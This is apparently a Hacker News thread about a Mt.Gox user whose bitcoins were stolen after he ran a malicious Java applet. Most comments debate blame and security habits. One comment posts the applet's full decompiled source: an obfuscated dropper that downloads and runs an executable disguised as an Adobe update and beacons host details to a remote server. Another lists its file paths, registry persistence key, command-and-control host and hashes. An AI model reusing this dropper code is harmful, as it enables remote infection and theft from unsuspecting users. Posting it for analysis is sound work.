by pieter on 4/11/13, 11:39 AM with 243 comments
by RyanZAG on 4/11/13, 1:06 PM
This kind of thing happens all the time with real banks, but with real banks, all transactions can be traced and reversed. Law enforcement can follow the required documentation to find the owner of any account on a global level. This is exactly what Bitcoin was created to avoid.
Well guess what? When you avoid the regulation, you take the safety of the currency into your own hands. MtGox should not refund this in any way shape or form. The problem was entirely his fault. He did not secure his MtGox account with available two-factor authentication. He ran untrusted code at full permission on his PC. He needs to take some responsibility for his own use of an unsecured currency on an unsecured website with unsecured authentication and running untrusted code.
Zero sympathy from me. Maybe it will be a wake up call to others to actually think about their decisions. Shouting about the 'nanny state' and using bitcoin, and then turning around and looking for a nanny to help him out when he goes around it is pathetic.
by mootothemax on 4/11/13, 12:16 PM
They should compensate me 100%.
This shows one of the fundamental problems with Bitcoin-related services: when people get taken advantage of, they expect to be compensated.
While in the real world, banks will often compensate you if you're the victim of fraud, there isn't any equivalent for Bitcoin, despite people really expecting it.
by amanvir_sangha on 4/11/13, 12:48 PM
Creates the following directories:
%UserProfile%\537214
%UserProfile%\684544
%AppData%\dclogs
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
537214 = "%UserProfile%\537214\svhost.exe"
tamere123.no-ip.org on ports 80 and 1604
198.203.29.120
Los Angeles
California
ISP: Hugeserver Networks Llc
File hashes:
MD5: 0x81F8E4C33ADECE6BF89EF171D9930282
SHA-1: 0xF540BA6C5F1C2AA50B81A440E7D74F8CF588B4D7by dreen on 4/11/13, 12:07 PM
I'm sorry for your loss but what happened is your own fault entirely and I would be surprised if MtGox decides to refund you.
by Pezmc on 4/11/13, 12:07 PM
by tripzilch on 4/11/13, 12:40 PM
You could plug in the USB, hibernate, flip the switch and be Bitcoin banking within seconds. Then unhibernate and get on with whatever you were doing on your day-to-day OS.
That way it can be completely separate from whatever risky, dangerous and/or irresponsible things you do on a regular basis with your computer--things that seemingly are worth the risk as long as they don't directly give attackers access to thousands of $$$ digital cash.
Question, I'm making a rough guess that a realistic speed-optimized fast boot-time for a Linux OS that doesn't need to do much is in the order of five seconds, is that about right? Also, I'm not 100% sure if that hibernation trick is actually possible, I've never really seen it on multi-boot systems and I wonder why, but from what I understand about hibernation (RAM gets saved to HD, restored next boot) the components are there?
And, make it look unlike any other OS, to make users instantly aware if they're operating on their banking/money "inside the stick" or "out in the open" (on the regular OS). For instance, a glowy green CRT terminal filter.
by antr on 4/11/13, 12:10 PM
by TazeTSchnitzel on 4/11/13, 12:20 PM
<applet name='ChatBox' width='10' height='10' code='wDbIDcgeH.class' archive='wDbIDcgeH.jar'></applet>
import java.applet.Applet;
import java.applet.AppletContext;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;
public class wDbIDcgeH extends Applet
{
static String lik = "h?t?t?p?:?/?/?w?w?w?.?g?a?l?a?x?y?j?d?b?.?c?o?m?";
public static void logme(String paramString)
{
String str1 = lik.replace("?", "");
String str2 = "PoutineCoutu";
try {
String str3 = InetAddress.getLocalHost().getHostName().replace(" ", "-");
URL localURL = new URL(str1 + "/insert.php?" + "&o=" + System.getProperty("os.name").replace(" ", "-") + "&u=" + str2 + "&ip=" + str3 + "&e=" + paramString);
localURL.openStream();
} catch (IOException localIOException) {
localIOException.printStackTrace();
}
}
public void start()
{
String str1 = "no";
String str2 = System.getenv("APPDATA");
String str3 = System.getProperty("java.io.tmpdir");
String str4 = "http://g2f.nl/0lczsoo";
String str5 = str2 + "\\";
String str6 = "AdobeUpdate-Setup1.84##e";
String str7 = "f.R.q.w.v.k.p.g.E.q.w.v.w";
String str8 = "CodedByOrpheu";
String str9 = str5.concat(str6.replace("##", ".ex"));
BufferedInputStream localBufferedInputStream = null;
try {
localBufferedInputStream = new BufferedInputStream(new URL(str4.replace("##", ".ex")).openStream());
} catch (IOException localIOException1) {
if (str1 != "yes") logme("Noa");
str1 = "yes";
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException1);
}
FileOutputStream localFileOutputStream = null;
try {
localFileOutputStream = new FileOutputStream(str9);
} catch (FileNotFoundException localFileNotFoundException) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
}
BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
byte[] arrayOfByte = new byte[1024];
try
{
int i;
for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
localBufferedOutputStream.write(arrayOfByte, 0, i);
}
catch (IOException localIOException2) {
if (str1 != "yes") logme("Noc");
str1 = "yes";
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException2);
}
try {
localBufferedOutputStream.close();
} catch (IOException localIOException3) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException3);
}
try {
localBufferedInputStream.close();
} catch (IOException localIOException4) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException4);
}
try {
Runtime.getRuntime().exec(str9);
logme("Yes");
} catch (IOException localIOException5) {
logme("Nod");
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException5);
}
try
{
getAppletContext().showDocument(new URL("0"), "_self");
} catch (MalformedURLException localMalformedURLException) {
System.exit(0);
localMalformedURLException.printStackTrace();
}
}
public void init() {
start();
}
}
by Cakez0r on 4/11/13, 12:23 PM
by tripzilch on 4/11/13, 12:18 PM
"Being a techie", I like to confuse Java and Javascript ...
by fmavituna on 4/11/13, 12:19 PM
Java's security track is horrible and it's quite popular target.
by smoyer on 4/11/13, 12:26 PM
by jack_trades on 4/11/13, 1:54 PM
When I hear interviews where people (bitcoin founder) suggest that you don't transfer into bitcoins any state currency you aren't willing to lose... it sort of peels the "inflation-hedge" covers off the whole thing. How unstable and unsecure does a currency have to be to be nearly worthless? USDollars look pretty safe again.
This is so much a game of hacker gambling. A great experiment. Too bad it consumes so much productive time and energy.
The beautiful narrative of the reclusive, open-society, eastern hacker that designs this thing which grows to be the godzilla it is... The story arc on bitcoin is borderline trite. Michael Bay is all over this in a year.
by amalag on 4/11/13, 1:17 PM
>Then and there someone posted a link to www mtgox-chat info (do not open unless you know what >you are doing) claiming a video announcement that mtgox was going to start trading litecoins. >I clicked on the link, the website opened, not much happened, and the "video"/chatbox never loaded. >I then forgot about this website.
by sequoia on 4/11/13, 5:59 PM
If he got a trojan on a third party site that compromised his computer and Mt. Gox's site had nothing to do with it, this title seems a bit libelous. If in fact that's the case, I'd implore HN mods to change the title to something that doesn't unfairly cast aspersions on the Mt.Gox site.
FWIW: I have no bitcoins, I don't fully grok bitcoins, I'm scared of bitcoins, I don't use mt.gox or any vendor
by axefrog on 4/11/13, 12:30 PM
by Tarilo on 4/11/13, 12:12 PM
Java is just such a big target for hackers nowadays, that there will always be zero-days.
by plg on 4/11/13, 1:30 PM
by 0x0 on 4/11/13, 12:12 PM
Some banks solve this problem by requiring a 2 factor auth to confirm transactions (even after logging in).
by niggler on 4/11/13, 1:36 PM
by jes5199 on 4/11/13, 3:29 PM
The value of hacking, phishing, etc is significantly increased by the presence of bitcoins.
I guess you could argue that if bitcoins are popular, software practices will evolve to be much more secure - but until then, it's wild west, and much more wild than the internet ever was before.
by willvarfar on 4/11/13, 12:38 PM
by halcyondaze on 4/11/13, 5:48 PM
by Tomdarkness on 4/11/13, 12:19 PM
by wereHamster on 4/11/13, 1:21 PM
by smoyer on 4/11/13, 12:16 PM
by egeozcan on 4/11/13, 12:09 PM
by dan1234 on 4/11/13, 12:27 PM
by DanBC on 4/11/13, 12:16 PM
At least they were open about being robbed. I wonder how many bitcoins were stolen in total?
EDIT: Has anyone visited the URL to analyse the malware?
by dariopy on 4/11/13, 2:47 PM
AFAIU, the user was prompted to accept an autosigned applet, and he did so. After that, the outcome was inevitable. You may hate java all you like, but it seems like the user (inadvertently) gave this program permission to steal all his money.
by parandroid on 4/11/13, 8:56 PM
by oomkiller on 4/11/13, 1:14 PM
by supjeff on 4/11/13, 7:23 PM
by Osiris on 4/12/13, 12:28 AM
by ghshephard on 4/11/13, 2:31 PM
by pan69 on 4/11/13, 8:41 PM
by stesch on 4/11/13, 7:45 PM
by onbitcoins on 4/11/13, 4:15 PM
A Mt. Gox investor was surprised to see his account suddenly pillaged. Will Bitcoin theft call into question trust and confidence in the system?
by danmaz74 on 4/11/13, 5:57 PM
by drivebyacct2 on 4/11/13, 8:00 PM
Stop storing your wallet online. And if not that, stop letting flash/java autoload/run. Both Chrome and Firefox have "click-to-enable". Not only is it more secure, it also prevents auto-video-playing, background audio you can't find and shit like this from happening.
by Jebbers on 4/11/13, 3:03 PM